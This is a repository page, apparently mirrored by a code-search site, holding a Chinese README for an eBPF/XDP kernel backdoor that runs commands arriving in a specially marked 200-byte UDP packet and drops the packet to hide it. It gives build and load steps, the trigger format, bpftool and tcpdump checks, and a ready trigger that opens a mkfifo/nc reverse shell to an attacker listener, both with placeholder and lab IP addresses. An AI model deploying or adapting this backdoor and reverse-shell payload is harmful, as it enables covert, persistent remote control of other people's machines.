ebpf_xdp_backdoor

KO | EN

gitlite — search

#javascript #react #ai #typescript #android #linux #windows #awesome #cli #vue #pytorch #mcp #ios #open-source

ebpf_xdp_backdoor

(★ 13)

在不开额外端口的情况下，基于ebpf和xdp实现的一个简易的可通过特定数据包激活并执行命令的后门

ebpf_xdp_backdoor 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

这个项目是什么？

在不开额外端口的情况下，基于ebpf和xdp实现的一个简易的可通过特定数据包激活并执行命令的后门

如何使用？
```
git clone https://github.com/putaom0l1/ebpf_xdp_backdoor.git
make
./loader_blackdoor ens33

（ens33替换成你的接口）

攻击机
nc -lvnp 555
执行下面命令发送数据包
printf %-200s 'HACKE_BY_PUTAOrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机ip 555 >/tmp/fEND' | nc 靶机ip 111（任意端口，无论是否开放） -u
```
这里目的（靶机）端口随意，不管是否开放，因为这个包只要到了主机就会被ebpf程序处理
具体的文章和其他案例在公众号    “葡萄不只会安全”

内核后门逻辑如下

```
收到一个网络数据包
    ↓
【第一层过滤】检查数据包是否包含完整的以太网头、IP头、UDP头
    → 不完整 → 返回 XDP_PASS（放行）
    ↓ 完整
【第二层过滤】检查是否为IPv4协议
    → 不是 → 返回 XDP_PASS
    ↓ 是
【第三层过滤】检查是否为UDP协议
    → 不是 → 返回 XDP_PASS
    ↓ 是
【第四层过滤】检查UDP数据包长度是否合法
    → 长度小于UDP头大小 → 返回 XDP_PASS
    ↓ 合法
【第五层过滤】检查整个UDP数据包是否在边界内
    → 超出边界 → 返回 XDP_PASS
    ↓ 在边界内
【第六层过滤】检查payload长度是否为200字节
    → 不是200字节 → 返回 XDP_PASS
    ↓ 正好200字节
【第七层过滤】检查前14字节是否为"HACKE_BY_PUTAO"
    → 不匹配 → 返回 XDP_PASS
    ↓ 匹配
【第八层过滤】在payload中查找"END"标记
    → 未找到 → 返回 XDP_PASS
    ↓ 找到
【第九层过滤】检查命令长度是否有效（1-99字节）
    → 无效 → 返回 XDP_PASS
    ↓ 有效
【处理阶段】提取命令并存储到eBPF map
    ↓
返回 XDP_DROP（丢弃数据包，增加隐蔽性）
```

合法的激活数据包要求：

```
协议类型：IPv4 UDP

payload长度：200字节

数据包开头： "HACKE_BY_PUTAO"

数据包结尾："END"

完整数据包格式："HACKE_BY_PUTAO" + 要执行的命令 + "END" 
这里本来是hacked，少写一个d
```

生成激活后门数据包的命令

查看map里是否有提取到的包

```
发包
printf %-200s 'HACKE_BY_PUTAO TEST_123_PUTAO END' | nc 192.168.75.133 80 -u
```

```
ip -details link show dev ens33
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 xdpgeneric qdisc fq_codel state UP mode DEFAULT group default qlen 1000
    link/ether 00:0c:29:c9:6a:0e brd ff:ff:ff:ff:ff:ff promiscuity 2 minmtu 46 maxmtu 16110 addrgenmode none numtxqueues 1 numrxqueues 1 gso_max_size 65536 gso_max_segs 65535 parentbus pci parentdev 0000:02:01.0 
    prog/xdp id 191 tag f613144128914cba jited 
    altname enp2s1
root@putao-virtual-machine:~/ebpf/blackdoor# bpftool prog show id 191
191: xdp  name blackdoor_s1mple  tag f613144128914cba  gpl
        loaded_at 2026-01-29T19:50:29+0800  uid 0
        xlated 1408B  jited 918B  memlock 4096B  map_ids 33
        btf_id 262
root@putao-virtual-machine:~/ebpf/blackdoor# bpftool map dump id 33
[{
        "key": 0,
        "value": {
            "cmd": " TEST_123_PUTAO ",
            "processed": 0
        }
    }
]

```

查看是否drop了

```
sudo tcpdump -i ens33 udp port 80 -vvv -X
```

drop掉了
<img width="1538" height="96" alt="image-20260129195449796" src="https://github.com/user-attachments/assets/9db92b7e-5a67-46e2-beea-b772b1d6ee87" />

```
printf %-200s 'HACKE_BY_PUTAOrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.128 555 >/tmp/fEND' | nc 192.168.75.133 111 -u
```
演示

ebpf_xdp_backdoor

ebpf_xdp_backdoor 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

ebpf_xdp_backdoor

ebpf_xdp_backdoor 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README